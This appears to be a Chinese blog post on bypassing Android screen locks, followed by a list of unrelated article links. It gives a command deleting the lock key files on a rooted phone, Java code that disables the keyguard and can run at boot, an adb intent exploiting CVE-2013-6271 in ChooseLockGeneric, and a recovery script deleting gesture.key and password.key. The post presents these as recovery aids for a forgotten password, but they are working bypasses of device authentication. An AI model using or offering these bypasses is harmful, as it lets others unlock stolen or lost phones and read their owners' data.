Android常见绕过屏锁小技巧汇总
安全是双刃剑,可以方便自己忘记密码时解锁,也有可能以为手机丢失泄露自己信息
首先各种屏锁都有其对应的编码方式,最终以二进制的形式(可能加密)存放在系统某个目录,一般位于目录/data/system下,以*.key等文件存储。当需用户输入密码(图形)时,会将我们的输入进行相应的编码,最后于本地存储的二进制进行比较,判断是否解锁成功。所以,最直接的方式就是强暴!
方法1.
前置条件:已root
细节:已经root了,还有什么好说的,直接把需要比对的文件强行抹掉就OK了。因此命令 rm /dara/system/*.key
至于用什么方式删除,可以usb连接通过adb完成。也可以写个手机应用某些特定条件下触发。
方法2.
前置条件:无
细节:该方法没那么恶劣,并不是直接把对比文件删除,小小的利用了存在的一个小的逻辑漏洞(也有可能是有些应用需要改功能,所以google提供了api)。该方法只是简单的屏蔽掉了解锁的界面,有木有很文雅。对于图形锁进去之后,按home键还是能弹出锁屏界面。
KeyguardManager manager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);if (manager.inKeyguardRestrictedInputMode()) { KeyguardLock keyguard = manager.newKeyguardLock(this.getClass().getName()); keyguard.disableKeyguard();}
就这么一句话,写成apk运行就好了,可以写成开机启动触发apk运行,也可以写成脚本usb连接后adb运行apk。上次的小小展示就是这个。
方法3.
13年11月新的招式~~~
前置条件:无
细节:大家都知道android上屏锁有很多类,字符密码,pin码,图案码,人脸码,当然还有无码。那么我们切换屏锁类型是是需要验证之前密码的。
而这个验证环节与系统应用有关,com.android.settings这个APK的其中一个类:com.android.settings.ChooseLockGeneric。由于android是开源的,那么可以查看其对应的源代码,找到漏洞,构造特定数据就可以实现绕过了。usb连接,启用adb尝试吧!
adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
该命令就是想特定apk特定的一个组件发送intent并附带我们构造的数据,有兴趣的可以多了解,同样可以写成一个应用执行
举这个例子也想告诉大家,android平台的安全有一个特点,也许自身应用是安全的,但是它可以通过另一个应用做坏事,也可以被另一个恶意程序利用
具体分析可以查看 : https://cureblog.de/2013/11/cve-2013-6271-remove-device-locks-from-android-phone/
还有一些方式,这里不展开了,都是需要adb或多或少需要开启 usb调试模式
方法4.
前置条件:可以刷机
由于版本不一,还有本人没有实践,只是看了下刷机脚本,觉得可行,外国佬某博客说他做到不格式化数据解锁。 原理其实是方法1
ui_print("Password Resetting ZIP by RahulB");
ui_print("Mounting System");
ui_print("Mounting Data");
run_program("/sbin/busybox", "mount", "/system");
run_program("/sbin/busybox", "mount", "/data");
ui_print("Deleting Pattern/ PIN Lock Keys");
delete("/data/system/gesture.key");
delete("/data/system/password.key");
ui_print("Unmounting System");
ui_print("Unmounting Data");
run_program("/sbin/busybox", "umount", "/system");
run_program("/sbin/busybox", "umount", "/data");
ui_print("Done :D");
方法还有很多很多,不列举了,有兴趣的大家留着,密码忘记了可以自行解决
Android常见绕过屏锁小技巧汇总相关推荐
- Android Coding利器之掌握小技巧,助你Coding更上一层楼~
本文讲的是Android Coding利器之掌握小技巧,助你Coding更上一层楼~,话说前几天在网上浏览到一大牛写的关于Android布局优化的文章,看后感触很深,回过头看看自己写过的代码,发现还是 ...
- 电脑知识 小技巧汇总
小技巧汇总 我综合了网上的有关软件应用的小巧和自己的几个,希望对大家有用,如果你有更好的请跟帖子大家共分享!有关注册表修改的,请先备份注册表! 1. 影音文件在xp中无法删除 很多情况下是因为预览功能 ...
- VC小技巧汇总之对话框技巧
这篇文章主要介绍了VC小技巧汇总之对话框技巧,非常实用!对于进行VC开发有一定的参考借鉴价值,需要的朋友可以参考下 本文搜集汇总了VC中关于对话框常用的一些技巧,对于进行VC开发由于一定的参考借鉴价值 ...
- JAVASCRIPT常用20种小技巧汇总
1.TEXTAREA自适应文字行数的多少 2.脚本永不出错 <script LANGUAGE="javascript"> </script> 3.ENTER ...
- android studio多媒体播放器,Android支持全屏、小窗口的视频播放器
NiceVieoPlayer Android支持全屏.小窗口的视频播放器,完美实现全屏.小窗口播放切换 Features 用IjkPlayer/MediaPlayer + TextureView封装, ...
- oracle ebs form 计算 汇总公式,Oracle+EBS+Form开发小技巧汇总
oracle form开发的技巧 content Oracle EBS Form开发小技巧汇总 ..................................... 2 Form中Block的重 ...
- android图片底部居中对齐,android开发图片居中的小技巧
释放双眼,带上耳机,听听看~! 制作UI布局的时候都会出现复杂的LinearLayout嵌套,并且常常会被一些问题混淆,警惕在android中图片居中的小技巧大家都知道吗?别着急,下文是技术狗小编为大 ...
- Android开发-小技巧汇总2
启动虚拟机时,在 launch options 窗口中 有个 wipe user data ,勾选它,将会让虚拟机 [恢复出厂设置] 2.[如果想让自己的应用程序有多个启动图标:] 为一个应用的 多个 ...
- Android Coding 利器 之 掌握小技巧,助你Coding更上一层楼~
LZ-Says:我不知道路的前方是什么,但是我知道,只要努力向前奔跑,希望总会伴随身旁~ 前言 话说前几天在网上浏览到一大牛写的关于Android布局优化的文章,看后感触很深,回过头看看自己写过的代码 ...
最新文章
- HDU 排名(简单题)
- 龙蜥降世,神龙升级,阿里云投入 20 亿发力操作系统
- RDKit | 基于RDKit和scikit-learn的KNN模型预测Ames的致突变性
- metasploit 中 exploit模块check方法简介
- HTML知识点总结之ul,ol,li标签
- AGC023F - 01 on Tree
- 中学编程_您可以从30岁的第一次编程采访中学到什么
- springmvc常用注解与类型转换
- BZOJ 1108: [POI2007]天然气管道Gaz
- Identityserver4配置证书
- Js对接口数据归类整理
- html5--select与HTML5新增的datalist元素
- 08 计算机视觉-opencv直方图与傅里叶变换
- Protel DXP 2004的元件封装/快捷键大全/PCB使用技巧
- 计算机网络数据链路层
- 微信开发学习总结(一)——微信开发环境搭建
- PostgreSQL AUTO INCREMENT
- ImportError: DLL load failed while importing _multiarray_umath: 找不到指定的模块(pyinstaller打包的问题)
- 论VM和Hyper-v虚拟机的使用场景
- 2022年低代码关键点:GeneXus即将推出什么